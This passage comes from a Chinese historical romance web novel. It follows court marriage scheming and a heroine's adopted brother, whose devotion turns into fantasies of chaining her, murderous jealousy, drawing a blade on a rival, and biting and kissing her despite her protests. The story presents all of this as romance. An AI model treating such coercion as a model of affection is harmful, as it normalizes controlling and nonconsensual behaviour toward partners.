弘文帝的发妻元后命薄,在柳贵妃与众美人入宫之后没两年便薨了,也没留下个一儿半女。
因此,后宫长久便由柳贵妃执掌凤印,这些年弘文帝虽未再册立皇后,但柳贵妃与皇后无疑。
母妃得势,二皇子江承德也水涨船高。
可惜就可惜在,江承德病弱活不了太久,注定和皇位无缘。
若非如此,这太子之位哪轮的上母妃低微,母族无半点势力的江承运和江承北觊觎。
“姬大小姐,听闻陛下很是欣赏于你。”
柳贵妃笑道:“这些时日陛下说了好多你身为女儿郎却骁勇杀敌,子肖像父,本宫听后便想亲自见你一面。”
“多谢陛下与娘娘的夸赞。”姬合英拜道。
“陛下册你为五品官身,却是岭西的军职。”
柳贵妃抛出话来,“大小姐日后可还要回岭西?”
姬合英道:“要的。”
柳贵妃长长叹息,她笑得了然:“那是可惜了。”
姬时语一个咯噔,她姐姐姬合英
这才回京,又被盯上了?
可下一刻,柳贵妃的凤眼飞向姬时语这面,她问:“五小姐今年多大了?”
姬时语赶紧上前低头,“回娘娘,臣女十五了。”
“十五了啊,是个好年纪。”
柳贵妃突然笑了起来,姬时语后背发冷,叶梅喊了句:“娘娘,那镯子……”
就听柳贵妃“哎哟”一声,手上朱红的蔻丹轻点着另一只手背,映出那一点红。
她笑道:“瞧本宫一直拉着你们姐妹问事,忘了正事了,叶梅,去取本宫的陪嫁来。”
姬时语的手心出了汗,她没敢抬头,上首美人的笑声如斯怖人。
“两位忠义侯府的小姐都是京中好贵女,本宫替不了皇后下懿旨,可还是心中很喜悦。”
柳贵妃说:“叶梅,将本宫的陪嫁之物拿过去。”
姬时语几乎麻木地任由叶梅将一枚冰凉的玉镯,她是多少的想将镯子扒下来,又做不得。
这镯子一带上,是透心凉,像身体、魂魄皆被禁锢住。
“你们姐妹俩,一个因镇守岭西耽误了亲事,一个及笄正是好年华,本宫想着,把当年陪嫁的赠与你们,是最好不过了。”
柳贵妃亲切笑道:“本宫在五小姐这个年龄,已是入宫为妃。”
姬合英回:“谢娘娘恩赐。”
姬时语木木地跟着行礼。
不光是姐姐,还有她,这便是身为忠义侯府嫡女,逃不过的命吗?
这浑水,总有人要拉扯着卷她们下去的。
待离了未央宫,姬时语还是沉默不语,面色难看。
姬合英心疼的很,牵住妹妹的小手,安抚着她。
“阿锁,爹娘和姐姐都会护着你,不要想那么多。”
姬时语才不喜欢听姐姐说这句话。
前世她过的还不够好吗?
姬时语受家人庇护太久了,这辈子重来,怎么能还视若无睹,再安心享受一遍。
“姐姐,我会有法子的。”姬时语道。
姬合英瞪着眼,她看向姬时语,她捧在手心呵护长大的妹妹,目光竟这般的坚毅。
“你又有什么法子了?”
姬时语小脸娇俏,绽开笑:“不告诉姐姐哩,我要回府和爹娘讲。”
“阿锁,怎么可以不和我说?不是我的好妹妹了?”
“那姐姐听完可不许生气。”
姬合英等着她说。
姬时语起了顽皮的语调,笑说:“她们算计呢,我自有路走,及笄就及笄了,我打算寻个好儿郎,而后……”
话没说完,眸光突而一侧,朱红墙面,甬道深深,前方那头有两人正肩并肩的走来。
可不就是江曜和薛淮璋。
“是云让哥哥。”
姬时语喜得露出笑颜。
一看见江曜,没有缘由的,她的心莫名便安定了,似乎眼前任何令人焦灼惶恐之事已是烟消云散。
姬时语刚要过去,手却被姬合英拉住了。
再一侧头,看见姬合英一张脸紧绷着,攥着她的手是越来越紧。
第52章
江曜看了眼身侧的薛淮璋,眸子深沉。
薛淮璋方才问他,为何年仅十三岁的他执意跟随忠义侯去往岭西,还屡屡冲在战事的最前。
莫非就不怕自己哪日丧命再回不来?
江曜又睨向甬道的那头,姬时语在不远处灿笑着,娇容粉颊。
他的阿锁曾说过,她中意的便是如她父亲那样顶天立地的大将军。
姬时语盼着有朝一日她的意中人小将军能得胜归来,骑马邀她共乘一座,意气风发。
江曜想要成为这个人。
武将还是文将,又有什么关系?
阿锁中意之人越是完美无缺,这世间便越是难寻。
而江曜也就越高兴。
他只需要守好他的身份,一个得体亲密的哥哥、家人,在她议亲之前,她都是属于自己的。
江曜并不想让她知晓自己骨子里的疯狂和执拗,他需得将滔天的欲望藏于心底。
他多么想把她锁起来啊。
系上锁链和红绸,阿锁是笑是哭都好,想要把她吻到不能呼吸,在他怀中红着眼啜泣。
那样美妙的模样,只能给他一个人看。
而他不是已经应全,照着她的心意之人长大了吗?
意气风发的少年将军,装得很相像的温柔君子之风。
这意味着他会是世间有且、仅有的堪配她的男人。
是唯一一个在她摔倒能接住她的人。
因此,她只属于他。
薛淮璋不懂他,正如他也不懂薛淮璋。
江曜能看出薛淮璋心悦姬合英,可每每他和姬合英相遇,薛淮璋总是欲言又止。
他不明白为何已是深入骨的情意,薛淮璋还不愿意表露出来?
五年之前姬合英已是一言不发离京去了岭西,若非家人妹妹还在京城,她绝不会再度回京。
论起来,薛淮璋已失去过她一次了。
但五年之后,面对姬合英,薛淮璋还是一如既往的胆怯,不敢表达心意。
难道薛淮璋是想等着姬合英出嫁,好彻底让自己死心?
江曜抱臂冷眼旁观。
这时姬合英已带着姬时语走了过来,薛淮璋上前问道:“大小姐是被贵妃娘娘传唤了?”
“是。”姬合英点头。
姬时语则眼眸一挑,望向江曜,询问道:“你们怎么来了?”
“担心你,入宫正巧遇到了薛大人,便走到了一道。”
江曜见小姑娘安然无恙,不像是在未央宫受了委屈,他稍放下心弦。
可很快江曜忆起刚入宫时,他和二皇子江承德在甬道之上碰面的一幕。
江承德由宫人们抬着宫辇进宫,他见是江曜,当即撩了轿帘。
“明威小将军。”江承德苍白的脸含了笑看他。
“殿下。”
江曜总觉得江承德的眼中有太多深色的细究,他不愿多谈,只抱拳做礼便要离开。
谁知道江承德咳了两下,又笑说:“让我猜猜,你入宫可是为了姬五小姐?我母妃才宣召了她。”
“不劳殿下操心。”江曜冷漠回。
“你不会不清楚,我母妃寻侯府的两位小姐入宫为何意?大小姐年长我几岁,我们之间怕是没得缘分,而五小姐已是及笄,朝中皇子之中,只有我还未迎娶正妃。”
一口气说下来,江承德再难自持地猛烈咳嗽。
江曜听着他的咳嗽声宛如一道催命符,他脸色黑沉,阴冷狐狸眼泛起了杀意。
终于江曜止步了,他问:“殿下想说何意?”
“我母妃想要五小姐做我的正妃。”
江承德刚说完,江曜的手已下意识地探去了腰侧,可上手却直接摸了空。
只可惜,入宫之时佩刀已上交,身侧无一物。
他杀不了江承德了。
“哎呀,同你说几句五小姐的话,你就着急,这性子何时能改?”
江承德哪里看不出眼前这双狐狸眼喷涌而出的血色,他摆手便在宫辇之上笑呵呵的,“江云让,你知道吗?你想要护着的宝贝被许多人虎视眈眈呢,所以你究竟会怎么做呢?”
江曜未动,直觉告诉他,江承德入宫便是要去找柳贵妃。
却不是为了姬时语。
因而他多看了江承德两眼。
这位生了重病的二皇子五年未见,身躯似乎更孱弱不堪了。
江承德是比五年之前见时还要瘦削,脸上的颧骨深深凹陷,笑起时甚至还有几分骇人。
“江小将军,你和你的那位小姐,我很是期待啊。”
江承德的笑声却很温和,他拂下帘子,不再多留。
从思绪中拉回,江曜的眸光轻而落在姬时语手腕之上的翡翠玉镯,他抓住她的手,冷硬问:“是贵妃送的?”
“是的。”
姬时语赶紧扯回手,将玉镯缩回了衣袖中,“不过贵妃并未说旁事,只是在夸我姐姐很厉害。”
江曜又想起二皇子江承德说的,大小姐应不会入贵妃的眼,柳贵妃无意选姬合英为二皇子妃。
可姬时语不一样,她年岁合适,极有可能嫁
入皇室为妃。
如此一想,江曜想提刀杀去二皇子府的心思又动了。
左右江承德已活不了几年,不如他做回好人,早日送他归西。
省的还惦记不该惦记的人。
“哥哥,你看薛大人和我姐姐……”
江曜还在思忖是否可行,身侧姬时语已牵住了他的手腕。
柔软的温热贴在他手背,她娇声撒娇,不自觉地,江曜已随着她脚步而动。
姬时语笑得很动人,“他们把我们都给忘了。”
前方的两人已是不知不觉走远了。
离了几步之遥,姬合英侧头与薛淮璋说着话,而薛淮璋的耳尖是越来越红。
姬时语拉着江曜跟上去。
走的近些,前头两人的交谈声也就清晰入耳。
薛淮璋道:“还未和姬大小姐道喜,陛下看重你,册你为了女武官,这是朝中先例,不可多得,大小姐实在令人钦佩。”
“薛大人非要和我客客气气?”
姬合英只一句,就刺得薛淮璋面露通红。
“姬、姬、姬大小姐。”
薛淮璋又结巴了。
姬合英直接笑说:“喊我名字姬合英吧,或是合英。”
少女的笑很有英气,偏顿入了一抹成熟,看得薛淮璋羞愧又酸涩,他垂下头,喊:“合英。”
姬合英应了声,不知道在想什么,她别头问:“薛淮璋,你今日找我,就没别的要说?”
“我……”
薛淮璋抬起头,姬合英正好看过来,两人一对视,下一瞬,各自别开了头。
后还是薛淮璋先开口,他问:“再过十日便是花朝节,合英,我能否邀你同去?”
姬合英沉着脸,一时未答。
“对不住,是我唐突了。”
薛淮璋只以为是她不愿,慌忙摆手解释:“你若是不得空,那便还是算了。”
“你真是的!一会儿要我去,一会儿又说算了,你到底是想我去还是不想?”
姬合英烦得抓头,眼里苦恼的厉害,“薛淮璋,你能不能有个定数,心思不要总多变,让人怪心烦的。”
薛淮璋被突然骂了一通,良久反应过来,笑脸竟是大了些。
看他傻笑,姬合英又是气结,“丑死了,可别笑了!”
“合英,你是应了?”薛淮璋好开心。
“我话只说一遍,十日后,你来忠义侯府找我,我不和傻子说第二遍,记住没?”
薛淮璋脸皮红了,“记住了,我定记得。”
姬合英哼了一声,不去看他。
已走至宫门前,姬合英便回身喊了姬时语:“阿锁,我们回家。”
姬时语应了声好,她小跑去到姬合英身边,笑弯了眼。
……
回到韶华院,姬时语得了空,琢磨起她的话本。
萍柳说明光书肆册订了她新写的文稿,将《浮尘》新卷挂书架售卖,可岂料一卖罢,书肆收到的信件是更多了。
多了去的骂书肆道德败坏,做了半拉的话本子,虎头蛇尾的没个结果。
姬时语想着,这些时日怎么也得写出话本子的尾卷。
“可是我真的写不出一个字啊……”
姬时语怏怏趴在书案上,愁眉苦脸。
萍亭这时进了屋,传了话来,“小姐,杜小姐派人寻你呢。”
“阿霜?”
“她说有要事,需得小姐亲自去一趟明光书肆。”
如今的明光书肆已然成了密会之地,姬时语和杜南霜小姐妹俩一旦约见便去书肆,这里是自家店铺又有人把守,不会徒惹旁人瞩目。
姬时语让萍柳去备马车,而萍亭则自觉唤了小丫鬟去思芳院递话。
于是这一出府,不光是宁氏姐妹跟随,连江曜也在。
姬时语微感觉别扭,扭捏问:“哥哥,我去见南霜,你不必跟着了吧?”
“我护送你去,夫人和侯爷才安心。”
江曜已先一步上了马,他侧过头来,狐狸眼冷冽夺目。
姬时语鼓鼓脸,自从她五年前被劫持之后,侯府上下都紧张她的不行。
可是从忠义侯府到明光书肆连一盏茶的路程都不用,有宁家两位女暗卫护着还不够?
江曜偏要寸步不离守着她。
她是又欢欣又别扭。
哥哥待她好她自然愿意,但这样走哪跟哪,如影随形,她总觉着浑身哪里不自在。
姬时语叹口气,说不动江曜,她索性罢了。
坐着马车去到了明光书肆,杜南霜已在二楼厢房等候于她,姬时语遂下车缓步往二楼而去。
再一转头,江曜竟还跟在身后,姬时语嘴唇一扁,是气恼了,忍无可忍地走回去,轻推了江曜一把。
“你不要跟着我了,我们小姐妹说闺中话,你是外男,听着算个什么事儿啊?”
姬时语脸皮薄,她一想起杜南霜口无遮拦,若是说到院中秋千,还被江曜全听见的话,她脸都得丢尽了。
思及此,她娇笑眨眼,“好啦,你就安心去一楼候着,等着我呀。”
江曜眸子深邃,暗了又暗。
半晌,江曜不再上前,转身下了二楼。
姬时语大舒口气。
天呐,她可不愿意有个大男人在旁,听她们姐妹俩聊密话,即便这个人是她熟稔的云让哥哥也不能。
支开江曜,姬时语推开二楼的厢房。
此刻屋中正聊的热火朝天,杜南霜满脸通红,说到激昂之处,又连喝三口茶押嗓子。
“你不觉着小公主那位青梅竹马的小将军可好吗?床上伺候的劲劲的,床下又是公主最可靠的靠山。”
“大理寺卿赵大人也很不错啊,他和公主可是宿敌,朝政不和。他看她不顺眼,又因公主的女儿身而大为震撼,心生的爱慕难言开口,这多动人啊?”
“你果然还是个小姑娘啊,沈安乐。”
杜南霜晃动手指,笑得很贼,“这情情爱爱的,不更进一步,哪来更深的爱?”
沈安乐不懂,“所以你意思小将军和公主,呃,已是很深一步了?”
“公主夜里留他,你真当躺一块盖被子瞎唠唠呢。”
姬时语听不下去了,她无比庆幸让江曜下了楼。
听听这虎狼之词,杜南霜的嘴,若出了明光书肆,她是得找个绣花针给她缝住的。
而那厢杜南霜觑了眼,一下便捉住了将入屋的姬时语。
“哟,这不是我们写出话本的五小姐吗?快说说公主隔日午时都没能醒来,那一夜小将军怎么讨的欢心?”
杜南霜看见姬时语来,更兴奋雀跃,她眼珠子转了又转,沉吟几许。
“说起来,话本里的小公主像你,而你兄长归了京又是风光无量的小将军,他也是少年将军啊。”
“清冷萧疏,宽肩窄腰,挺鼻薄唇。”
“阿锁,你这话本里的小将军,当着不是照着你云让哥哥写的?喔,你是小公主,江云让是小将军,你们……”
第53章
“明威将军是五小姐的兄长吗?”沈安乐惊讶捂住嘴。
姬时语瞪了嬉笑不止的杜南霜一眼,因有外人在,她矜持了许多,“江云让是我父亲的徒弟,算是我认的兄长。”
“太厉害了,五小姐竟有这样俊才的兄长!”
“安乐别顾着叹了,你和阿锁是
第一回见,来。”
杜南霜拉过沈安乐的手,将人带过来。
姬时语听杜南霜说过沈安乐是沈家次女,更是沈南怀的亲妹妹。
她没见过人,今日一见,方觉这丫头个头比自己还小,肉乎乎的脸蛋,娇小玲珑的,瞧着像十二、三岁。
“你及笄了吗?”姬时语问。
沈安乐一张脸涨红了,“我当然及笄了,我已满了十六岁。”
“啊?你竟算是我姐姐。”
沈安
乐是比姬时语还大了半岁。
杜南霜笑起来,“今日喊你来,也是为了安乐的婚事。”
“怎么了?”
姬时语给自己倒了一杯茶,三人坐下来后,终是摆正脸色,不再聊劳什子的话本子。
沈安乐难以启齿,纠结道:“时语,是有些琐事来麻烦你了。”
杜南霜叹口气,她覆在沈安乐的手背,拍着她安抚,代为她说。
“阿锁,安乐是鸿胪寺丞沈南怀的胞妹,两人自小丧母,后来沈大人又续了一位夫人,眼下呢,安乐的嫡母为她相看了一门亲事,这亲事就是有些……不好说。”
杜南霜说的含糊,可姬时语还是明白其中的难言之隐。
“是什么人家?”
“昌平伯的小儿子。”
姬时语双目瞪大。
昌平伯的小儿子,听说是个纨绔子弟,从来不学无术没个正经。
其兄长昌平伯世子却是得了不少赞誉,他入朝拜官,官身四品,品性还算清正。
姬时语蹙眉:“一母同胞的亲兄弟相差之大,令人不敢置信。”
“是啊,我们就是觉着昌平波次子不像个值得托付的良人。”
姬时语回问:“你们想让我做什么?”
“时语,南霜同我说,明光书肆许多话本都出自你手,我看过你写的故事,也很倾慕你所写的男女之情,我便和南霜说。”
沈安乐圆乎乎的脸皱起,她认真看姬时语:“我觉着你一定很懂这些事,才起心找你。因为,因为,你话本里的女孩都坚韧不拔,即使跌倒,也有站起来的勇气,可我……”
“你怕嫡母不善,在婚事上委屈你?”
“我并未怪母亲,我自知母亲不容易,毕竟我不是她的亲生女儿。”
沈安乐说着眼圈红润,泪水便夺眶而出,杜南霜一把抱住她,眼睛跟着也红了。
杜南霜三岁没了娘亲,比沈安乐好些的是杜父并未续娶。
但这些年下来,杜南霜与沈安乐不可能不思念亲娘。
沈安乐说的话,兴许姬时语无法真正的感同身受,但杜南霜可以。
这会儿沈安乐有些情难自控,无助落着眼泪,杜南霜抱着抽泣的她,抬起头和姬时语说:“阿锁,我们想要你帮忙。”
“阿霜,我们之间还需要客气吗?你只管说,只要是我能做的。”
姬时语沉思道:“或许我可以让我娘查查昌平伯府小少爷的底细。”
杜南霜应道:“除此之外,还要托你让人打听书肆可有消息,若是来往之人说道昌平伯府的事那便更好了。”
“那我干脆让掌柜的张贴一张告示,就说话本到了肠哭思竭之时,需大家伙集思广益。”
姬时语突而灵光一闪,“凡是能给予好点子之人,书肆都会嘉奖。”
“你是打算揽集情报?”
“正是。”
“阿锁,还得是你脑瓜子机灵。”
杜南霜笑道:“这事儿好,可太好了,说不准还能有意外之喜。”
“好,我这就吩咐下去。”
萍亭、萍柳得了吩咐,退离厢房去寻明光书肆的陆掌柜细说。
沈安乐干巴着抬头,歉意满满:“时语,不好意思让你见笑了。”
“许多事说起来容易,真落在自己头上时,才知行走一步该有多难,并不会很洒脱。人生来一辈子,遭遇的磨难总是不止,怎样克服,又怎样让自己解脱,是大难事啊……”
姬时语沉声宽慰,她嗓音温柔,是随了舒氏,令人安定,“安乐,你已做的很好了,你没有同嫡母大吵大闹,而是冷静思索是否可为。”
沈安乐被说的难堪,“你还夸我啊?”
“我只是实话实说。”
姬时语露齿一笑,她笑容很明媚,沈安乐不自觉便被她带动,心生了安逸平静。
“这事你不要着急,回头和你兄长沈大人相商,先不要定亲,我们这头查清楚了再说。”
沈安乐眼瞳震惊,“时语,你愿意帮我到这个地步,我……”
“多的不必说太多,记得参宴时多提一嘴我的话本就好,助我的明光书肆生意兴隆呀!”
姬时语故意打趣,为的就是让沈安乐别背负太沉重的包袱。
她不想帮了人,还惹得旁人难耐。
“好啊好啊,你的话本子可好了!”
沈安乐笑起来:“可惜我喜欢的是大理寺卿那个公子,但他好像不是公主的良配。”
“唉,我都说了,青梅竹马的小将军绝对要陪同公主走到卷末,并肩望江山的。”
杜南霜又起劲了,“就小将军那公狗腰,谁不眼馋啦?”
“不是,什么公狗腰?”姬时语瞪大了眼。
“这不是你写的,你还不认了?”
“我从未写过什么公狗……”
姬时语瞳孔震惊,大为震撼,她握住茶杯的手亦是在抖:“杜南霜,你可莫要诋毁我啊!”
“得,你不认那算了,反正明光书肆又不是不卖了,改日我找一本甩给你眼前,看你认不认。”
姬时语一看就知道杜南霜自个儿想多了。
她写的那般含蓄,哪写过小将军在床榻之上人如公狗这话的?
她自己都不知道!
简直是诽谤。
赤_裸_裸的诋毁!
杜南霜眼尖,这话一开了口,身侧粉面桃腮的小姑娘便羞红了脸。
以为自己说中,杜南霜立刻调笑看来,“不过,姬时语,你老实交代,这小将军是不是你的云让哥哥?”
“怎么可能!”
姬时语躁动之大,手边的茶杯是翻了,水顷刻间洒了一地。
“你紧张什么?看样子我说对了。”
杜南霜好似琢磨出些许味道,“你不会喜欢你的云让哥哥吧?”
沈安乐一噎,“明威小将军不是和时语自小一起长大,情同亲兄妹吗?”
杜南霜嘿嘿:“是啊,一起长大的青梅竹马,又不是亲兄妹,只是认的。”
沈安乐了悟点头:“那这说是青梅竹马更确切一些。”
“安乐,你见过江云让吗?”杜南霜问沈安乐。
沈安乐茫然摇头。
“少年俊俏非凡,冷面狐狸眼,乌发高束,周身拢着煞寒之气。”
杜南霜念着话本之词加之江曜的容貌,沈安乐恍然大悟,“这,这除了那双狐狸眼,岂不就是书中小公主的青梅竹马?”
“姬时语,你还有什么可解释的,你的司马昭之心,我们可全都看明白了。”杜南霜笑如狐狸。
沈安乐也揶揄笑起来道:“看来时语确实青睐明威小将军,写着写着,笔下就成了那个人。”
“我说她还狡辩。”杜南霜笑得厉害,“再说,有情之意的哥哥不也是哥哥?”
“杜南霜,你说的太过分了!”
姬时语跳起来捂住了杜南霜的嘴,她小脸通红,羞怯难当:“我和江云让清清白白,日月可鉴,绝无二心,我发誓。”
“你发誓也无用。”
杜南霜笑着扒开姬时语的手,“哪日你和你云让哥哥定亲,嫁给他做新娘子了,我都信的。”
“真是的!我说了没有就是没有,我写小将军那只是因为我喜欢小将军啊?”
姬时语前世便喜欢意气风发的小将军,一落笔不自觉便会描绘骑马俊逸的小将军。
那可是她的心悦之人,怎会不爱呢?
然而,谁知道江曜这一世,就真成了小将军。
她还百口莫辩!
什么给江曜做新娘子,老天知道姬时语还真没想过,前几日她还陪着她娘舒氏挑画像,打算给江曜选正房夫人呢。
可今日一出,偏偏杜南霜和沈安乐戏谑看她,满脸皆是不信她狡辩。
她是跳进黄河也洗不清了。
姬时语跺脚,“我做什么骗你们呀,往后我和我哥定了亲,你们就知道了。”
“哎哟哟,我和我哥定了亲呀~”
杜南霜腔调做怪,故意咬文嚼字地逗姬时语,“好啊,我和安乐等你们二人定亲。”
“不是,我说的是我和江云让各自定亲,各定各的。”
“安乐也听到了,你说的是你们二人定亲事。”
“杜南霜,你讨打!”
姬时语头一回觉着杜南霜怎么那般难缠啊 ?
气得她追着杜南霜拍打,杜南霜跑得快,一刺溜地往沈安乐的身后躲。
这时屋外响起了敲门声,是萍亭折返禀报道:“小姐,沈大人来接沈小姐回府了。”
沈安乐起了身,“我兄长来了,我得回了。”
“好,我们下回再聚吧。”
杜南霜也有意回府,姬时语便与两人一道下了二楼。
正待此时,明光书肆的一楼正堂之中,两道身影同一时直直朝下楼的三人投来了目光。
是江曜和沈南怀。
沈安乐望到自家兄长,笑脸扬起刚要喊,可一侧头便望见了满脸冷冽森寒的江曜,是被吓得惊呆了。
江曜持着长刀挡在了沈南怀身前,双目不善。
刀未开刃,但少年那双狐狸眼的嗜杀之气很重。
沈安乐冷不丁打了个寒噤。
这还确实如杜南霜所说,冷面俊逸,像极了话本子里小公主身边的那只恶犬。
“兄长!”
沈安乐急忙跑去。
姬时语则赶忙去到了江曜身侧,拽着他收起刀,蹙眉便道:“怎么还拔刀了?”
江曜没说话,沈南怀带着妹妹沈安乐走近,略表歉意道:“五小姐,是江公子和我有些误会,不要紧的,已是没事了。”
姬时语笑着朝他点头,“我知道你性子,你不会。”
沈南怀本意是让这对兄妹不要互生芥蒂,尤其江云让是姬时语的兄长,是忠义侯府的顶梁柱。
更极有可能是他日后的大舅子。
他不想江云让心中太过厌恶自己。
沈南怀有心结交江曜,可没想到才与之攀谈两句,他恭维了两句姬时语的美言,江曜便面色愈冷,执刀挡了他。
“你信我就好。”沈南怀松口气,笑意清扬。
两人是有说有笑,可江曜太不好了。
沈南怀和姬时语之间的熟稔亲密,江曜全看在眼中。
阿锁信他?
信沈南怀?
凭什么?
阿锁的心偏向一个外人了,不偏向他了?
江曜抬起那双阴冷的狐狸眼,他怒极了,瞪着沈南怀,他总觉得今日他必须开刃,杀了眼前这个男人。
“江公子,可是我哪里说错了话?”
沈南怀不知自己哪里惹了江曜不快,他拧眉,又喊姬时语,“五小姐,我真的与江公子无冤无仇。”
“好了,他无碍的,你们不必管他。”
姬时语察觉出江曜的不对劲,她不愿几人再牵扯,便拽住江曜手腕唤他:“云让哥哥,我们回府,不要在这里。”
然而江曜已然失了理智。
不要管他?
阿锁,你怎么能说出这样残忍的话。
江曜垂首,姬时语被他那双阴郁狐狸眼盯着,一股寒意自脊梁骨爬上。
森寒阴冷。
姬时语后怕了,身子不由自主地倒退一步。
就是她的这一步。
彻底点燃了江曜的愤怒。
他抓起姬时语的芊芊细腰,一把将人蛮横地拉扯入了怀中。
“啊!”
姬时语根本来不及反应,已是被江曜扛上了肩膀,肚腹被挤压的难受,她捶打江曜,“你做什么?放我下来!”
这可是在外头,还被杜南霜她们看着呢!
姬时语羞恼万分。
江曜却不为所动,跟抱小孩似的扛着她,径直大步去到了忠义侯府的马车,连人带她翻身而入。
姬时语脑子昏昏沉沉,再睁开眼她已是被翻卷过了身子,靠坐在了江曜怀中。
少年冰凉的胸膛紧贴她的后背,双腿锁住了她的,一双有力手臂牢牢环住了她的腰,而后勒紧了。
他的头颅强压在她的肩头,咯的她好疼。
这个姿势之下,姬时语整个身子都被江曜的四肢禁锢捆绑,连一丝分离的间隙也无。
“阿锁,你不要管我,那要管谁?管沈南怀,还是于策安?”
江曜掐住她的腰,贴上她的背,侧头张嘴一口咬住了她侧脖颈。
他的嘴吮咬着她脖上的嫩肉,江曜摩挲着几下,只觉得唇齿间的感觉甚好,小姑娘的肌肤雪白柔腻,特别的好亲。
令他忍不住咬了又咬,还带了些许力道。
他的尖牙微微擦拭过她如凝脂的肌肤,江曜犹不满足,迫切的想要更多。
一刹那,姬时语疼得嘶牙。
“阿锁,你乖一点,你只能管我,旁的人……不要看。”
不然他会都杀掉的。
江曜轻轻啄着她的玉颈,咬完再亲,固执的偏要亲自将她染成粉色。
声音低沉,又有耐心。
第54章
时值初秋,姬时语身穿并不繁琐,今日出府只着了一袭鹅黄色的薄纱衣裙,裙摆浅薄。
此刻被江曜锁在怀中,她只觉得大腿之处的衣衫与他紧贴着,他结实的腿骨卡在她膝盖,往下压住。
身后是结实的、精瘦的胸膛,与五年之前还显清瘦的少年已大不一样了。
江曜真的长大了。
他是个男人。
姬时语不自觉冒出了许多胡思乱想的念头。
可是下一瞬,又被脖颈处细微的疼痛惊醒,她唇间忽的发出了“啊……”的声音。
江曜咬得不重,奈何姬时语偏就怕疼,她一疼就挣扎蹬腿。
“什么沈南怀和于策安,这事与他们有何关系?”
姬时语奋力抵抗,试图挣开江曜的头颅,她身体一歪想要逃脱,但腰间的手臂却宛如铁钳,沉重无比,令她动弹不了。
“江云让!”
姬时语微微恼火,“你这样压得我喘不过气来了。”
江曜却没松开半分,他在她脖颈间抬头,一双狐狸眼阴阴沉沉的,“阿锁,是你先惹我不悦的。”
“我又哪里惹你了?你这人不能不讲理啊。”
姬时语回想起他非常在意的话,红唇便蠕动,“我说让他们不要管你,是不想在书肆闹不堪,沈南怀只是沈安乐的兄长。”
“就这样?”
“嗯,就这样。”姬时语看他的眼疑窦万千,小脸疑惑,“还有什么吗?”
“你不是这五年和沈南怀已是熟稔到不行,走的很近吗?”江曜咬牙冷意四射。
“他那是陪同薛淮璋来侯府,我才认得的。”
姬时语想着,沈南怀性子温和,人也算很好,她没理由与人交恶。
江曜不算很满意,可姬时语一脸坦荡,他紧揪住的心稍稍安了。
阿锁没那个意思就好。
不然他真的快疯了。
可是,江曜又问:“那于策安呢?”
“天杀的于策安。”
姬时语无奈揉脑袋,真是不知道说何才好,她是跟不上江曜跳脱的性子,“于策安已是五年未回京了,你突然问起他做什么?于家我还知道些,于策安离家出走后便和于家断了关系,谁知道他在哪呢。”
江曜默了。
姬时语却没管他,兀自摸了一把脖上。
她自小娇气,被江曜狠狠啃咬,方才便觉得脖子疼痛。
莹白脸蛋皱巴,姬时语小嘴嘶了几声。
好疼啊,她真是被江曜咬破了皮。
“你还咬我?放开!”
气呼呼的,姬时语不耐地打了江曜手臂一巴掌,“你真是狗不成啊,去一趟岭西,还学会咬人了?”
而后江曜又凑了过来,脑袋埋在她肩窝动了动。
他闷声喊她:“阿锁。”
察觉腰间的手臂又紧了,姬时语叹息了一口气。
近来她总躲着江曜,或许是她态度不耐,致使江曜还以为两人的关系不如从前了。
她做的不那么好。
没给哥哥十足的安心之感。
她本意是待她理清楚,以更为平静之心回到从前那样相处,可江曜比她想的还要在乎两人这段关系。
他很依赖于她。
一旦她抽身一刻,他便要追上来,缠着她。
这,谁让是她当年捡了他回府,还承诺会好好养他成人呢?
姬时语顿时生起微微的愧疚,她的手心覆在了腰间的大掌之上,少年温热的气息打在侧颈,她又觉着痒痒
的。
“哥哥,我也有不好,不该待你太疏离。”
小姑娘温柔的嗓音响彻车厢,江曜的身子一僵。
姬时语轻轻笑了声,好似在抚平他的浮躁,“我应没和你说过,在我心里,外人和你是比不了的,你对我很重要。”
“真的……吗?”江曜哑声问。
“真的。”
“阿锁,你对我这么好,可以再好一点吗?”
小姑娘乖顺倚靠在他胸膛,如凝脂般的玉肌便在他唇边,还泛着玉兰香气,勾得江曜胸膛不住起伏。
当真遏制不住想咬她软肉的冲动。
不光是咬,还想亲,在她裸_露在外的肌肤之上印下他的痕迹。
让所有人知道,她不可被觊觎。
想着,江曜的喘息声也跟着重了。
姬时语茫然:“都这样好了,还要怎么好?”
“我想亲你。”
江曜抬首,目光灼灼地盯着小姑娘粉白的脸,狐狸眼转动,微微睨到了她娇嫩的唇瓣。
不知道那处的滋味,是否和他梦里亲过她千百遍时可一样,是甜甜软软的。
姬时语后怕地缩了下身子,但她犹在江曜怀里,一退身后便触及少年的胸膛。
逃无可逃。
姬时语干巴巴扭头,“要是五年前还好啦,可我们都老大不小了,再亲脸什么的,是不是有些不对?”
“哪里不对?”
江曜可没说他要亲脸。
他想的是亲嘴。
“就是,就是……”
姬时语侧头,她昂首下巴拉得很长,侧脸那条线沿着向下,与雪白的脖颈牵在一块。
小姑娘还要结巴犹豫,江曜已拥着她亲了上去。
冰凉的薄唇落在了她柔软的右脸蛋。
很柔软又很白嫩。
江曜仍是不满足一般,探出舌头舔舐了一道,舌尖微顿,好似感触到了她脸蛋之上细小的绒毛。
不一会儿,他吻过起了身,狐狸眼眯起笑得沙哑,“阿锁,你对我最好了。”
“你……你!”
被他一捧一夸,姬时语想斥责他得寸进尺的心思也被绝了,都先斩后奏被亲了,她还能怎么办?
姬时语不适应这个亲脸。
她总感觉对于两人的兄妹关系而言,有些太过亲近了。
她要不要告诉江曜,亲亲这件事,不能老找妹妹做啊?
可是关系要好的兄妹之间,亲一下脸,好像也没什么吧?
姬时语脸蛋飘红,眼睛都不知道瞟哪儿好了,江曜端详怀里小人儿的不知所措,心情大好。
“想什么呢?”
“没、没有。”
“那……”
江曜在她身后,这里再无外人,仅有两人,他不必再压抑,眼底黑沉的情潮尽数释放。
他抱紧了她,将姬时语往上提了提,两人贴得紧紧的。
姬时语任由他摆弄,她已然放弃挣扎了,再多挣扎也是徒劳。
她叹口气,抚上江曜手背,说:“其实,我这样坐着不是很舒服,哥哥放开一点,好不好?”
“不好。”
江曜爱极了这样的姿势,他只要稍一歪头,就能亲到她的脸蛋。
少年笑道:“我觉着很舒服,阿锁不是说了,会一直对我好吗?”
姬时语哀叹一记。
她这叫搬石头砸自己的脚。
江曜又凑近些,他的嘴一抬,便轻轻碰到了她吹弹可破的脸颊,他啄了两下,由浅至深,果不其然,他亲罢了的地方泛起了浅红。
小姑娘虽然脸皮薄,一亲就红,可没抗拒他亲脸。
她不抗拒他。
这就很好。
